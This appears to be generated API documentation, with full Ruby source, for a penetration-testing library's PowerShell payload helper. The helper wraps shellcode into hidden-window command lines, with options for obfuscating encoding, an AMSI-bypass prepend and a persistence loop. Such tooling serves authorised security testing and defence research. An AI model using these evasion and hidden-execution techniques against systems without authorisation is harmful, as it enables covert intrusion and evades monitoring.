Module: Rex::Powershell::Command

Defined in:
lib/rex/powershell/command.rb

Class Method Summary collapse

Class Method Details

.cmd_psh_payload(pay, payload_arch, template_path, opts = {}) ⇒ String

Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture. Opts are passed through to run_hidden_psh, generate_psh_command_line and generate_psh_args

Parameters:

  • pay (String) —

    The payload shellcode

  • payload_arch (String) —

    The payload architecture 'x86'/'x86_64'/'aarch64'

  • opts (Hash) (defaults to: {}) —

    The options to generate the command

Options Hash (opts):

  • :persist (Boolean) —

    Loop the payload to cause re-execution if the shellcode finishes

  • :prepend (String) —

    A stub of Powershell code to prepend to the payload.

  • :prepend_inner (String) —

    A stub of Powershell code to prepend to the inner payload.

  • :prepend_protections_bypass (Boolean) —

    Prepend a stub that bypasses Powershell protections.

  • :prepend_sleep (Integer) —

    Sleep for the specified time before executing the payload

  • :method (String) —

    The powershell injection technique to use: 'net'/'reflection'/'old'/'msil'

  • :encode_inner_payload (Boolean) —

    Encodes the powershell script within the hidden/architecture detection wrapper

  • :encode_final_payload (Boolean) —

    Encodes the final powershell script

  • :remove_comspec (Boolean) —

    Removes the %COMSPEC% environment variable at the start of the command line

  • :wrap_double_quotes (Boolean) —

    Wraps the -Command argument in double quotes unless :encode_final_payload

  • :exec_in_place (TrueClass, FalseClass) —

    Removes the executable wrappers from the powershell code returning raw PSH for executing with an existing PSH context

Returns:

  • (String) —

    Powershell command line with payload



331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
 
# File 'lib/rex/powershell/command.rb', line 331

def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
  if opts[:encode_inner_payload] && opts[:encode_final_payload]
    fail Exceptions::PowershellError, ':encode_inner_payload and :encode_final_payload are incompatible options'
  end

  if opts[:no_equals] && !opts[:encode_final_payload]
    fail Exceptions::PowershellError, ':no_equals requires :encode_final_payload option to be used'
  end

  psh_payload = case opts[:method]
    when 'net'
      Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
    when 'reflection'
      Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
    when 'old'
      Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
    when 'msil'
      Rex::Powershell::Payload.to_win32pe_psh_msil(template_path, pay)
    else
      fail Exceptions::PowershellError, 'No Powershell method specified'
  end

  if opts[:exec_rc4]
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
  end

  if opts[:prepend_inner]
    psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
  end

  # Run our payload in a while loop
  if opts[:persist]
    fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
    sleep_time = rand(5) + 5
    psh_payload  = "function #{fun_name}{#{psh_payload}};"
    psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
  end

  if opts[:prepend_sleep]
    if opts[:prepend_sleep].to_i > 0
      psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
    end
  end

  compressed_payload = compress_script(psh_payload, nil, opts)
  encoded_payload = encode_script(psh_payload, opts)

  # This branch is probably never taken...
  if encoded_payload.length <= compressed_payload.length
    smallest_payload = encoded_payload
    encoded = true
  else
    if opts[:encode_inner_payload]
      encoded = true
      compressed_encoded_payload = encode_script(compressed_payload)

      if encoded_payload.length <= compressed_encoded_payload.length
        smallest_payload = encoded_payload
      else
        smallest_payload = compressed_encoded_payload
      end
    else
      smallest_payload = compressed_payload
      encoded = false
    end
  end

  if opts[:prepend_protections_bypass]
    bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
    smallest_payload = bypass_amsi + ";" + smallest_payload
  end

  if opts[:prepend]
    smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
  end

  if opts[:exec_in_place]
    final_payload = smallest_payload
  else
    # Wrap in hidden runtime / architecture detection
    inner_args = opts.clone
    inner_args[:wrap_double_quotes] = true
    final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
  end

  command_args = {
    noprofile: true,
    windowstyle: 'hidden'
  }.merge(opts)

  if opts[:encode_final_payload]
    command_args[:encodedcommand] = encode_script(final_payload)
    # If '=' is a bad character pad the payload until Base64 encoded
    # payload contains none.
    if opts[:no_equals]
      while command_args[:encodedcommand].include? '='
        final_payload << ' '
        command_args[:encodedcommand] = encode_script(final_payload)
      end
    end
  else
    command_args[:command] = final_payload
  end
  psh_command =  generate_psh_command_line(command_args)

  if opts[:exec_in_place] and (not opts[:encode_final_payload] and not opts[:encode_inner_payload])
    command = final_payload
  elsif opts[:remove_comspec]
    command = psh_command
  else
    command = "%COMSPEC% /b /c start /b /min #{psh_command}"
  end

  if command.length > 8191
    fail Exceptions::PowershellCommandLengthError, 'Powershell command length is greater than the command line maximum (8192 characters)'
  end

  command
end

.compress_script(script_in, eof = nil, opts = {}) ⇒ String

Return a gzip compressed powershell script Will invoke PSH modifiers as enabled

Parameters:

  • script_in (String) —

    Script contents

  • eof (String) (defaults to: nil) —

    Marker to indicate the end of file appended to script

  • opts (Hash) (defaults to: {}) —

    The options for encoding

Options Hash (opts):

  • :strip_comments (Bool) —

    Strip comments

  • :strip_whitespace (Bool) —

    Strip whitespace

  • :sub_vars (Bool) —

    Substitute variable names

  • :sub_funcs (Bool) —

    Substitute function names

Returns:

  • (String) —

    Compressed script with decompression stub



51
52
53
54
55
56
57
58
59
 
# File 'lib/rex/powershell/command.rb', line 51

def self.compress_script(script_in, eof=nil, opts={})
  # Build script object
  psh = Rex::Powershell::Script.new(script_in)
  psh.strip_comments if opts[:strip_comments]
  psh.strip_whitespace if opts[:strip_whitespace]
  psh.sub_vars if opts[:sub_vars]
  psh.sub_funcs if opts[:sub_funcs]
  psh.compress_code(eof)
end

.decode_script(script_in) ⇒ String

Return the ASCII contents of the base64 encoded script

Parameters:

  • script_in (String) —

    Encoded script

Returns:

  • (String) —

    Decoded script



34
35
36
 
# File 'lib/rex/powershell/command.rb', line 34

def self.decode_script(script_in)
  Rex::Powershell::Script.new(script_in).decode_code
end

.decompress_script(script_in) ⇒ String

Return the ASCII contents of the GZIP/Deflate compressed script

Parameters:

  • script_in (String) —

    Compressed script

Returns:

  • (String) —

    Decompressed script



67
68
69
 
# File 'lib/rex/powershell/command.rb', line 67

def self.decompress_script(script_in)
  Rex::Powershell::Script.new(script_in).decompress_code
end

.encode_script(script_in, eof = nil, opts = {}) ⇒ String

Return an encoded powershell script Will invoke PSH modifiers as enabled

Parameters:

  • script_in (String) —

    Script contents

  • opts (Hash) (defaults to: {}) —

    The options for encoding

Options Hash (opts):

  • :strip_comments (Bool) —

    Strip comments

  • :strip_whitespace (Bool) —

    Strip whitespace

  • :sub_vars (Bool) —

    Substitute variable names

  • :sub_funcs (Bool) —

    Substitute function names

Returns:

  • (String) —

    Encoded script



18
19
20
21
22
23
24
25
26
 
# File 'lib/rex/powershell/command.rb', line 18

def self.encode_script(script_in, eof=nil, opts={})
  # Build script object
  psh = Rex::Powershell::Script.new(script_in)
  psh.strip_comments if opts[:strip_comments]
  psh.strip_whitespace if opts[:strip_whitespace]
  psh.sub_vars if opts[:sub_vars]
  psh.sub_funcs if opts[:sub_funcs]
  psh.encode_code(eof)
end

.generate_psh_args(opts) ⇒ String

Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g. "-Arg1 x -Arg -Arg x "

Parameters:

  • opts (Hash) —

    The options to generate the command line

Options Hash (opts):

  • :shorten (Boolean) —

    Whether to shorten the powershell arguments (v2.0 or greater)

  • :encodedcommand (String) —

    Powershell script as an encoded command (-EncodedCommand)

  • :executionpolicy (String) —

    The execution policy (-ExecutionPolicy)

  • :inputformat (String) —

    The input format (-InputFormat)

  • :file (String) —

    The path to a powershell file (-File)

  • :noexit (Boolean) —

    Whether to exit powershell after execution (-NoExit)

  • :nologo (Boolean) —

    Whether to display the logo (-NoLogo)

  • :noninteractive (Boolean) —

    Whether to load a non interactive powershell (-NonInteractive)

  • :mta (Boolean) —

    Whether to run as Multi-Threaded Apartment (-Mta)

  • :outputformat (String) —

    The output format (-OutputFormat)

  • :sta (Boolean) —

    Whether to run as Single-Threaded Apartment (-Sta)

  • :noprofile (Boolean) —

    Whether to use the current users powershell profile (-NoProfile)

  • :windowstyle (String) —

    The window style to use (-WindowStyle)

  • :version (String) —

    The version of Powershell to run (-version)

Returns:

  • (String) —

    Powershell command arguments



130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
 
# File 'lib/rex/powershell/command.rb', line 130

def self.generate_psh_args(opts)
  return '' unless opts

  unless opts.key? :shorten
    opts[:shorten] = (opts[:method] != 'old')
  end

  arg_string = ' '
  opts.each_pair do |arg, value|
    case arg
      when :executionpolicy
        arg_string << "-ExecutionPolicy #{value} " if value
      when :inputformat
        arg_string << "-InputFormat #{value} " if value
      when :file
        arg_string << "-File #{value} " if value
      when :noexit
        arg_string << '-NoExit ' if value
      when :nologo
        arg_string << '-NoLogo ' if value
      when :noninteractive
        arg_string << '-NonInteractive ' if value
      when :mta
        arg_string << '-Mta ' if value
      when :outputformat
        arg_string << "-OutputFormat #{value} " if value
      when :sta
        arg_string << '-Sta ' if value
      when :noprofile
        arg_string << '-NoProfile ' if value
      when :windowstyle
        arg_string << "-WindowStyle #{value} " if value
      when :version
        arg_string << "-Version #{value} " if value
    end
  end

  # Command must be last (unless from stdin - etc)
  if opts[:command]
    if opts[:wrap_double_quotes]
      arg_string << "-Command \"#{opts[:command]}\""
    else
      arg_string << "-Command #{opts[:command]}"
    end
  elsif opts[:encodedcommand]
    arg_string << "-EncodedCommand #{opts[:encodedcommand]}"
  end

  # Shorten arg if PSH 2.0+
  if opts[:shorten]
    # Invoke-Command and Out-File require these options to have
    # an additional space before to prevent Powershell code being
    # mangled.
    arg_string.gsub!(' -Command ', ' -c ')
    arg_string.gsub!('-EncodedCommand ', '-e ')
    arg_string.gsub!('-ExecutionPolicy ', '-ep ')
    arg_string.gsub!(' -File ', ' -f ')
    arg_string.gsub!('-InputFormat ', '-i ')
    arg_string.gsub!('-NoExit ', '-noe ')
    arg_string.gsub!('-NoLogo ', '-nol ')
    arg_string.gsub!('-NoProfile ', '-nop ')
    arg_string.gsub!('-NonInteractive ', '-noni ')
    arg_string.gsub!('-OutputFormat ', '-o ')
    arg_string.gsub!('-Sta ', '-s ')
    arg_string.gsub!('-WindowStyle ', '-w ')
    arg_string.gsub!('-Version ', '-v ')
  end

  # Strip off first space character
  arg_string = arg_string[1..-1]
  # Remove final space character
  arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')

  arg_string
end

.generate_psh_command_line(opts) ⇒ String

Generate a powershell command line, options are passed on to generate_psh_args

Parameters:

  • opts (Hash) —

    The options to generate the command line

Options Hash (opts):

  • :path (String) —

    Path to the powershell binary

  • :no_full_stop (Boolean) —

    Whether powershell binary should include .exe

Returns:

  • (String) —

    Powershell command line with arguments



81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
 
# File 'lib/rex/powershell/command.rb', line 81

def self.generate_psh_command_line(opts)
  if opts[:path] and (opts[:path][-1, 1] != '\\')
    opts[:path] << '\\'
  end

  if opts[:no_full_stop]
    binary = 'powershell'
  else
    binary = 'powershell.exe'
  end

  args = generate_psh_args(opts)

  "#{opts[:path]}#{binary} #{args}"
end

.run_hidden_psh(ps_code, payload_arch, encoded, opts = {}) ⇒ String

Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.

ARM64 note: [IntPtr]::Size cannot tell an ARM64 process apart from an x64 one, so PROCESSOR_ARCHITECTURE (and PROCESSOR_ARCHITEW6432 for a 32-bit process on Windows-on-ARM) is consulted first. A payload_arch of 'aarch64' targets the native ARM64 powershell.exe under System32 (reached via sysnative when the current process is 32-bit).

Parameters:

  • ps_code (String) —

    Powershell code

  • payload_arch (String) —

    The payload architecture 'x86'/'x86_64'/'aarch64'

  • encoded (Boolean) —

    Indicates whether ps_code is encoded or not

  • opts (Hash) (defaults to: {}) —

    The options for generate_psh_args

Returns:

  • (String) —

    Wrapped powershell code



223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
 
# File 'lib/rex/powershell/command.rb', line 223

def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
  opts[:noprofile] ||= 'true'
  opts[:windowstyle] ||= 'hidden'

  # Old method needs host process to stay open
  opts[:noexit] = true if (opts[:method] == 'old')

  if encoded
    opts[:encodedcommand] = ps_code
  else
    opts[:command] = ps_code.gsub("'", "''")
    opts[:wrap_double_quotes]  = false
  end

  process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{generate_psh_args(opts)}'
$s.UseShellExecute=$false
$s.RedirectStandardOutput=$true
$s.WindowStyle='Hidden'
$s.CreateNoWindow=$true
$p=[System.Diagnostics.Process]::Start($s)
EOS
  process_start_info.gsub!("\n", ';')

  # Path helpers keep the emitted PowerShell readable and single-quoted so no
  # further escaping is required at the target.
  native_ps      = "$b='powershell.exe'"
  syswow64_ps    = "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'"
  sysnative_ps   = "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"

  # On Windows-on-ARM the native host is the ARM64 powershell.exe; the
  # 32-bit x86 host still lives under SysWOW64. When we're already inside a
  # 32-bit process on WoA, PROCESSOR_ARCHITECTURE reports 'x86' and
  # PROCESSOR_ARCHITEW6432 reports 'ARM64', so we escape to native via
  # sysnative. x86_64 payloads on WoA fall through to native and rely on
  # the OS x64 emulator, which is best-effort.
  arm64_native_branch = case payload_arch
                        when 'aarch64' then native_ps
                        when 'x86'     then syswow64_ps
                        else                native_ps
                        end

  arm64_wow64_branch  = case payload_arch
                        when 'aarch64' then sysnative_ps
                        when 'x86'     then native_ps
                        else                sysnative_ps
                        end

  intptr4_branch      = payload_arch == 'x86' ? native_ps : sysnative_ps
  intptr8_branch      = payload_arch == 'x86' ? syswow64_ps : native_ps

  architecture_detection = <<EOS
if($env:PROCESSOR_ARCHITECTURE -eq 'ARM64'){
#{arm64_native_branch}
}elseif($env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'){
#{arm64_wow64_branch}
}elseif([IntPtr]::Size -eq 4){
#{intptr4_branch}
}else{
#{intptr8_branch}
};
EOS

  architecture_detection.gsub!("\n", '')

  if opts[:no_arch_detect]
    return   "$b='powershell.exe';#{process_start_info}"
  else
    architecture_detection + process_start_info
  end
end